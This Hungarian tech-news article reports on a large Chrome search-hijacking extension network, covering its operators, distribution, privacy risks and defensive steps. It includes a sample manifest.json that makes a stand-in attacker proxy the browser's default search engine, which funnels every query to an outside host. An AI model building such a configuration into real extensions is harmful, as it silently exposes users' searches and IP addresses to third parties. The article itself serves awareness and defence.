Milliókat érintő adatvédelmi kockázatot találtak Chrome-bővítményekben

A böngészőbővítmények világa régóta kényes terület a kiberbiztonságban, ám a most feltárt incidens új szintre emeli a kockázatokat . A keresés-eltérítés (search hijacking) során a felhasználók gépén futó kiegészítők észrevétlenül átvették a böngésző alapértelmezett keresőmotorjának szerepét .

A felfedezés azért rendkívül aggasztó, mert a hálózat működéséhez a támadóknak nem volt szükségük hagyományos kártevőkre, bonyolult szkriptekre vagy gyanús engedélykérésekre. A kiegészítők a Google hivatalos bővítményáruházának infrastruktúráját használták fedezékként, miközben a felhasználók legérzékenyebb internetes keresési szokásai egy köztes közvetítő szerver kezébe kerültek.

Érdemes tudni: a támadók nem közvetlen zsarolóvírust vagy banki adatlopót telepítettek, hanem a legális keresőhirdetési partnerprogramokat (syndication) manipulálták pénzszerzés céljából . Ugyanakkor az így kiépített infrastruktúra bármelyik pillanatban alkalmassá tehető rosszindulatú tartalmak és adathalász oldalak kiszolgálására is .

A Socket biztonsági kutatója, John Tuckner által publikált elemzés egy éveken át észrevétlenül működő, kiterjedt műveletet tárt fel . A kutatás a 2025 áprilisában azonosított 57 kiegészítőre épült rá, amelyet most további 264 újonnan azonosított bővítménnyel egészítettek ki .

A hálózat története egészen 2016-ig nyúlik vissza, és a vizsgálatok alapján mintegy 13,44 millió telepítést ért el a Chrome Web Store felületén . A kutatók több jól körülhatárolható csoportot azonosítottak:

Az Intango LTD nevű online marketingcéghez mintegy 111 bővítmény és 2,2 millió telepítés kapcsolható .
A SecuryBrowse néven futó ismeretlen operátori csoporthoz 58 kiegészítő és mintegy 4,9 millió felhasználó köthető .
További független terjesztők kisebb csomagokban üzemeltették a maradék mintegy 150 kiegészítőt .

A kiegészítők túlnyomó része úgynevezett „unlisted” (nem listázott) állapotban volt jelen a Google áruházában . Ez azt jelenti, hogy a webáruház belső keresőjében nem bukkantak fel, elkerülve a nyilvános ellenőrzést, közvetlen hivatkozással viszont gond nélkül letölthetők és hitelesnek tekinthetők maradtak . A terjesztést agresszív reklámhálózatokon, felugró (pop-under és pop-over) hirdetéseken keresztül végezték, ingyenes PDF-átalakítóknak, kézikönyv-keresőknek vagy „biztonságos AI-keresőknek” álcázva az eszközöket .

Kód nélküli támadás a gyakorlatban

A bővítmények technikai felépítése rávilágít a modern böngészők engedélyezési mechanizmusainak vakfoltjaira . A hagyományos biztonsági szűrők a kiegészítők forráskódját, a háttérben futó szkripteket (background workers) és a kért rendszerjogosultságokat figyelik . Ezzel szemben a leleplezett bővítmények egy része gyakorlatilag semmilyen végrehajtható programkódot nem tartalmazott .

A kutatók által vizsgált egyik kiegészítő, a Safe Game Search mindössze három képfájlból (ikonokból) és egy egyszerű manifest.json konfigurációs állományból állt . A trükk lényege a Chrome beépített chrome_settings_overrides.search_provider paraméterének kihasználása volt :

JSON

{
  "name": "Safe Game Search",
  "version": "1.0",
  "manifest_version": 3,
  "chrome_settings_overrides": {
    "search_provider": {
      "name": "Custom Search",
      "keyword": "search",
      "search_url": "https://operator-proxy.example/search?q={searchTerms}",
      "is_default": true
    }
  }
}

A fenti beállítás révén a böngésző címsorába beírt összes keresés először a támadó által felügyelt proxy szerverre futott be . A szerver kiolvasta a lekérdezést, majd továbbította azt a Bing vagy Yahoo keresőmotorok felé egy hivatalos partneri azonosítóval kiegészítve . A keresőóriások ezek alapján kattintási és forgalmi jutalékot fizettek az operátoroknak .

Kockázatok:

A köztes szerver a lekérdezések tartalmát dinamikusan vizsgálta; tesztek során hat azonos keresésre négy különböző válasz és átirányítási útvonal érkezett vissza .
Az operátorok teljes rálátást nyertek a felhasználók valós idejű keresési szokásaira és IP-címére .
Mivel az átirányítást a szerveroldal vezérli, a támadó bármikor átválthat kártékony letöltésekre, hamis bejelentkezési oldalakra vagy adathalász célpontokra anélkül, hogy a böngészőbővítményhez hozzá kellene nyúlnia .

Kiket érint a probléma?

A fertőzési hullám rendkívül széles réteget érint, mind magánszemélyi, mind vállalati környezetben :

Otthoni felhasználók és digitális fogyasztók: Különösen azok, akik gyakran keresnek gyors online segédeszközöket (pl. formátumkonvertálók, ingyenes dokumentumszerkesztők) és felugró reklámok hatására telepítenek kiegészítőket .
Kis- és középvállalkozások (KKV-k): Azok a cégek, ahol nincs központilag korlátozva a munkatársak böngészőhasználata, így a dolgozók szabadon telepíthetnek látszólag ártalmatlan irodai beépülőket .
IT-üzemeltetők és rendszergazdák: Akiknek ellenőrizniük kell a vállalati végpontokon lévő „árnyék-IT” (Shadow IT) eszközöket és a jogosulatlan beállításmódosításokat .

Magyarországon a Google Chrome piaci részesedése a böngészők körében tartósan 70% feletti, így a hazai felhasználói bázis kiemelten kitett a hasonló kampányoknak.
(Olvasóink 53% Chrome, 17% Chrome (iOS) - böngészte oldalunkat - Szerkesztő)

Európai uniós szinten az ügy komoly adatvédelmi és jogi kérdéseket vet fel:

GDPR megfelelőség: A keresési kifejezések, IP-címek és böngészési szokások továbbítása egy harmadik fél köztes szerverére kifejezett, tájékozott hozzájárulás nélkül az uniós adatvédelmi rendelet durva megsértését jelenti .
NIS2 irányelv és vállalati felelősség: A kritikus vagy kiemelten kockázatos ágazatokban működő hazai cégek számára a nem felügyelt böngészőkiegészítők közvetlen ellátási láncbeli és végponti biztonsági kockázatot jelentenek, amely audit során nemmegfelelőséget vonhat maga után .

A gyakorlatban az érintett felhasználók többsége észre sem veszi a fertőzést . Amikor a böngésző címsorába beírnak egy kifejezést, a megszokott Google helyett a Yahoo vagy a Bing találati listája jelenik meg, az átirányítás pedig a másodperc töredéke alatt lezajlik . Sokan ezt egy egyszerű frissítésnek vagy véletlen beállításnak tulajdonítják.

A háttérben azonban minden egyes keresés – legyen szó orvosi kérdésekről, pénzügyi szolgáltatókról vagy belső vállalati rendszerek kulcsszavairól – átfut egy idegen adatközponton . Ez nem csupán reklámcsalás: ha a szerver üzemeltetője úgy dönt, a banki kifejezésekre kereső felhasználókat közvetlenül adathalász másolatokra, a szoftverfrissítést keresőket pedig fertőzött telepítőcsomagokra irányíthatja át .

Javasolt teendők és védelmi lépések

Tennivalók egyéni felhasználók számára:

Bővítmények ellenőrzése: Nyissa meg a böngészőben a chrome://extensions/ címet, és tekintse át a telepített kiegészítőket. Minden olyan eszközt, amelyet nem ismer fel vagy már nem használ (különösen a különféle PDF-eszközöket, kereséssegítőket), haladéktalanul távolítson el .
Alapértelmezett kereső visszaállítása: Látogasson el a chrome://settings/search menüpontba, és állítsa vissza a preferált, megbízható keresőszolgáltatót.
Rendszervizsgálat: Futtasson le egy teljes vírus- és kártevő-ellenőrzést a végponton az esetlegesen letöltött kiegészítő komponensek felderítésére .

Tennivalók vállalati és rendszergazdai környezetben:

Bővítmény-házirendek bevezetése: Csoportházirend (GPO) vagy felhőalapú Chrome Management segítségével korlátozza a bővítmények telepítését. Alkalmazzon pozitív listát (allowlist), amely kizárólag az előre jóváhagyott üzleti kiegészítőket engedélyezi .
Keresőszolgáltató rögzítése: Központi házirenddel zárja le a keresési beállítások módosítását (DefaultSearchProviderEnabled), megelőzve az illetéktelen felülírást.
Hálózati proxy monitorozás: Figyelje a hálózaton belüli szokatlan, ugrópontként szolgáló átirányítási láncokat és ismeretlen syndication hirdetési domaineket.

Összegzés

A 319 Chrome-bővítmény leleplezése arra figyelmeztet, hogy a kiberbűnözők és a kétes hátterű reklámcégek egyre gyakrabban kerülik meg a hagyományos védelmi vonalakat. A végrehajtható kód nélküli, pusztán a böngésző beállításait átíró komponensek átcsúsznak a biztonsági szűrőkön, miközben 13,4 millió felhasználó adatbiztonságát sodorták veszélybe . A biztonság kulcsa a jövőben a felhasználói tudatosság mellett a szigorúbb áruházi szabályozás és a vállalati szintű központi kiegészítő-felügyelet lesz .

Kód nélküli támadás a gyakorlatban

Kiket érint a probléma?

Javasolt teendők és védelmi lépések

Összegzés

Források

Az IT-hét, esszenciában.